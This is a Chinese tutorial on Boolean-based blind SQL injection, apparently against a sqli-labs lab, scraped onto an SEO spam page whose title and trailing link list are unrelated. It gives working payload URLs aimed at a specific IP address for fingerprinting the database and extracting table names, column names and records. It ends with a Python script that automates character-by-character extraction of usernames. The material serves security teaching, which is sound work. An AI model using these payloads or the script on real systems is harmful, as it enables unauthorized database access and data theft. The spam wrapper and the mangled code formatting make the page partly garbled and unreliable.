当前位置: 首页 > news >正文

wordpress 主题增加筛选seo优化是什么职业

wordpress 主题增加筛选,seo优化是什么职业,手机微信网站建设,招聘广告模板SQL注入之布尔盲注 一、布尔盲注介绍二、布尔盲注的特性三、布尔盲注流程3.1、确定注入点3.2、判断数据库的版本3.3、判断数据库的长度3.4、猜解当前数据库名称(本步骤需要重复)3.5、猜解数据表的数量3.6、猜解第一个数据表名称的长度3.7、猜解第一个数据…

SQL注入之布尔盲注

  • 一、布尔盲注介绍
  • 二、布尔盲注的特性
  • 三、布尔盲注流程
    • 3.1、确定注入点
    • 3.2、判断数据库的版本
    • 3.3、判断数据库的长度
    • 3.4、猜解当前数据库名称(本步骤需要重复)
    • 3.5、猜解数据表的数量
    • 3.6、猜解第一个数据表名称的长度
    • 3.7、猜解第一个数据表名称的字符
    • 3.8、猜解数据表中字段的数量
    • 3.9、猜解第一个数据表名中字段的长度
    • 3.10、猜解第一个数据表中字段的字符
    • 3.11、获取字段中的记录
  • 四、布尔盲注的脚本

推荐:简单了解SQL注入

一、布尔盲注介绍

盲注就是在SQL注入过程中,找到注入点,执行SQL语句后,查询到的数据或者错误信息不能回显到前端页面,此时,我们需要利用一些方法进行判断或者猜测,这个过程称为盲注。

“基于布尔判断的盲注”指的是利用SQL语句逻辑与(and)操作,判断and两边的条件是否成立,SQL语句带入数据库查询后判断返回内容(通常返回值仅有空和非空两种状态),类似布尔型的true和false的两种状态(true为非空,false为空);类似于无法开口说话的人,只能通过点头和摇头来告诉你答案正确与否。

二、布尔盲注的特性

在页面中,如果正确执行了用户构造的SQL语句,则返回一种页面,如果SQL语句执行错误,则返回另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的。

在这里插入图片描述

在这里插入图片描述

三、布尔盲注流程

3.1、确定注入点

方法一:通过增加'"、注释符,如果语句从执行失败到执行成功则说明存在注入点。

  • ?id=1
    在这里插入图片描述

  • ?id=1'
    在这里插入图片描述

  • ?id=1''
    在这里插入图片描述

说明存在注入点,且闭合类型为单引号(若闭合类型是双引号,使用单引号像上面所示进行尝试,3个页面都会显示正确)

方法二:

?id=1 and 1=1 
?id=1 and 1=2 
如果上面两句页面出现的结果不一样,说明没有闭合方式,是数字型
  • 解释:为什么不是数字型(是字符型)注入的时候,上面两句的结果会一样。
    • 隐式类型转换:
      • ?id=‘1asdf’ ===> ?id=‘1’
      • ?id=‘1’ ===> ?id=‘1’
      • ?id=‘a’ ===> ?id=‘97’
      • ?id=‘12abc’ ===>?id=‘12’
      • ?id=‘12ab3bc’ ===> ?id=‘12’
      • ?id='1 and 1=1' ===> ?id='1'
      • ?id='1 and 1=2' ===> ?id='1'
?id=1' and 1=1 #
?id=1' and 1=2 #
如果上面两句页面出现的结果不一样,说明闭合方式是单引号,是字符型

3.2、判断数据库的版本

方法:主要因为5.0版本以下没有information_schema数据库,无法进行手动注入;由于无法回显数据,利用逻辑与和数据库版本第1位数字字符做判断;

  • 会使用到left函数:返回从字符串开始位置指定数量的字符(包含空格)。
LEFT(string_expression, count)
#string_expression 表示字符串,这个参数可以是数据库表的列名,字符串,也可以是某一函数的返回结果。
#count  是整数, 表示从字符串开始位置到结束,返回的字符数量
例如:
select left('5.5.53',1) --> 5
select left('5.5.53',2) --> 5.

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and left(version(),1)=5--+
  • 页面回显正确,说明数据库版本大于5,可以进行注入。

3.3、判断数据库的长度

方法:由于无法回显数据,先使用length()判断当前数据库的长度,减小后面猜解数据库名称的工作量;

  • 使用到length函数,判断数据库的长度。
    在这里插入图片描述
http://47.109.71.232:8080/Less-8/?id=1' and length(database())>10--+

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and length(database())=8--+

3.4、猜解当前数据库名称(本步骤需要重复)

方法:利用第3步确认的数据库长度,结合ascii()substr()函数,一个一个字符猜解,利用二分法;

  • substr() 从一个内容中,按照指定条件,「截取」一个字符串。这个内容可以是数值或字符串。
substr(obj,start,length)
#obj:从哪个内容中截取,可以是数值或字符串。
#start:从哪个字符开始截取(1开始,而不是0开始)
#length:截取几个字符(空格也算一个字符)。

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr(database(),1,1))>110--+

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr(database(),2,1))=101--+

3.5、猜解数据表的数量

方法:count()函数,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=5--+

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

3.6、猜解第一个数据表名称的长度

方法:length函数,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+

3.7、猜解第一个数据表名称的字符

方法:ascii函数、substr函数,一个一个字符猜解,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

3.8、猜解数据表中字段的数量

方法:count()函数,利用二分法;
在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="emails")=2--+

3.9、猜解第一个数据表名中字段的长度

方法:length函数,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="emails" limit 0,1))=2 --+

3.10、猜解第一个数据表中字段的字符

方法:ascii函数、substr函数,一个一个字符猜解,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="emails" limit 0,1),1,1))=105--+

3.11、获取字段中的记录

方法:ascii函数、substr函数,一个一个字符猜解,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr((select group_concat(id) from emails),1,1))=49--+

四、布尔盲注的脚本

import requests
import stringurl = "http://47.109.71.232:8080/Less-8/?id="
# select = "select database()"
# select = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# select = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'"
select = "select group_concat(username) from users"
result = ""
for i in range(1, 100):for ch in string.ascii_letters + string.digits + ",:}{_":payload = f"1' and substr(({select}),{i},1) = '{ch}'%23"r = requests.get(url = url + payload)if "You are in" in r.text:result += chprint(result)breakif ch == "_":print("[***] 注入完成")exit(0)

在这里插入图片描述

http://www.hkea.cn/news/35978/

相关文章:

  • 整形美容网站源码上海seo优化bwyseo
  • 武威市住房和建设局网站百度app下载安装普通下载
  • 网站物理结构天津百度推广排名
  • 美容平台网站建设百度指数查询移动版
  • 工程公司手机网站建立网站怎么搞
  • 做网站软件wd惠州seo外包
  • 聊城做网站seo关键词分类
  • 网站做公司女生学网络营销这个专业好吗
  • 网络运营主要工作内容seo教程自学入门教材
  • 用其他商标在自己网站做宣传百度云网盘资源分享网站
  • 对商家而言网站建设的好处淘宝关键词查询工具哪个好
  • 做简单网站代码关键词推广价格
  • 做品牌折扣的网站百度推广的五大优势
  • 南宁比较有好的网站制作公司百度推广后台登录页面
  • 长沙企业网站排名优化windows优化大师和360哪个好
  • 珠海网站开发维护科技公司免费的网络推广渠道有哪些
  • wp建站系统微信营销管理软件
  • 本地打开WordPress慢百度seo优化分析
  • 适合友情链接的网站排名函数
  • 开发公司岗位设置广州seo招聘网
  • 国内web设计网站宣传推广
  • 深圳高端网站定制公司小时seo
  • wordpress主菜单下拉箭头怎么设置台州seo排名优化
  • 网站系统管理员模块关键词查找工具
  • 望江县建设局网站外贸seo推广招聘
  • 微信网站上传图片手机怎么制作网站
  • 简单做网站需要学什么搜索引擎有哪些网站
  • 网站备案信息加到哪里如何进行网站推广
  • 昭通网站制作aso优化技巧
  • 制作网站时怎样做滚动字幕新网站多久会被百度收录